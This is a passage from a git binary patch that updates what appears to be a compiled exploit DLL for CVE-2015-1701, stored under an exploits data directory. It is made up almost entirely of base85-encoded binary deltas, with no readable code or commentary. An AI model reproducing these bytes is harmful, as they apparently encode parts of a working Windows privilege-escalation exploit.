z+WmR3XCY%j_+C(2gdBr!1pk)G*cJF7cmrZsC`)6k9g2b{wx;7`QgBV6=}s&P@fffg zvcQjmv+mLsVF9;8UfLO%txL3>m4i>}z6tEmJ#k?M@&N5^;9=djg9|eCI9LXScMrDe zo>;vU`GLN*U<jf%pqH&(rX8IVG-YD|G>QQqgXmOZmos(*pC;u&!Ai#Zpf>n^@Qxg9 zARAZ+(eV;luC^KCUdWA8@qv?8Y2(CzSMOoWp5(=`z#I`7>&2iQ;OM<b5_sZ^`HaP4 z&^GW7Ymkuet)OwOb{$dRT&NrqB!MLmEus{BS@#3rJ@?`9LtF&QAZkNA?!_NEiWA^~ zUg2BM*gv3FG-3set%Smf39i|Ig(B_*w?W~7z!xAIrw#0ZM$x7h`~spjgW&XEYvUAx zQXwTRXWkB&4<QkS&%rUs3D54wYX}v<$AFWeLilN5J4BNaFF`Z`ars7lp<tEnhrr@Z zj1{4;8@ve7W=6o4BHVvDDqz@}2ekWkg0mmgycK*KqRE2b>CHGswC@M)F5EK)BBqvV z@pRC#jj=|wAs&Z3@F&1K9>&SR+rW0{7<~J~UL+I>w1a+d;Un7Wvcb*J2pW}x&u+)b zz_)?PJG3?_V6*OzfxbtzI57y(n8dWl@DQPII=BO(xCeZnycdNJVIJJ6eL^nqX^0vf z0B2Vq0dME53H;X0SQ7jgnE1HX#sYeE?*scGI$mP#ZtWBcz$JSSN8e0v5ZVq;^v?G% zb^wKJ@b}OO_$KfoL<3y{U)zfvA>IKN;KV}k#Q8qlKYR*ks%9*5K5_-*e!P0{k>C>$ zU7rv95-LEPHQ=`Za?i*6AA)g7xHD7`Cp6;D;3tAUh)$v%{2HR~cm%vNpm{rZ2BLSO zA53@>8$jPAuo|L8*Mj#n;Uz^}1PxDV3yK6Yp299@mzgLOK{Oe$85%=}7I53s_*5`) z8MshJ(!rkx_dSE_fZq=;eO~j~;0rI~r9-?83_&ywan&o@J0XH&uQGNLZN|JXS6{=g z9txx2@DaRj@K?b64(&a6g1<V7WJKHw7QT)*A4lo}zk}#hn8H{#<bxN%QxL^3fj_^2 zuLAAaamIE-6!(B<@xNzYJ1RzC(%-}z08dmQx--^=hX|^KKM&Twg;Rpx50;$7HNlsH znWu1l@J?_S^a`$n_>S(01G*<()jjBCLP+aCwCSFhuY2NF-Is$+x+k{jp7^friT~C; qF``c!pBS%u;+<iSf5(x@(<_Ljx+m_{J@J6%<!(bmCtt-?<9`8N|G>lm delta 4585 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 diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll index 2dd92ae5f5b1745e9b24f20a7b13ba0d347a5716..6fe8681520f2ea1229333f023ddabcc3d4303d99 100755 GIT binary patch delta 11536 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 E22+G!!T<mO delta 11620 zcmc)Qe_T{m{`m2GVbD=gM+HK~91RtV);quNaOVdlDy?jeiHL@VhVF!Hnn6ot4TbFL z4(`%kH?6h84^-C2K5F<$Dy#8FibX|bMrB2=wV13?Sz(d$d7U9!_VL*7_xpH!|M~Ff zJ<oIA=gggZ&pr3tJCjv=3{`s!b=?!LOkX`;`suGjikmP*PL!k_B-ZyO-`7XT)2<B8 zlchLGk|oI$`|qFjRTWv5ig-gUdi49`w1jLDL-l*&Cdv_gx9pN{(@)D&<oopzadYIN zrloOv6GDawvZ*Fgkrq6(Uor*jd5I=xMkG@pnrwsy(Y`p^F+be3t=Ifh*Sde-RkZ)q zRl2y<?f<^3XpeQ(Hygjb`e}B0p4&Bi-6je_0|&UV=G>3bDEnY%AHpp)N6Xh9UN=<a ziiYo<b!m0P9DgLRvE~~R@%sav59@Ca%CKaJzU?(1lwUP<ac|fmc0bs`=g*5CkDt*S z>=DI=9(FQ%Jlq{$(K}DK4!-QFVA6q$$ILjy+ad>pW->n=f9$i*RNrn)49f-KTMXfV 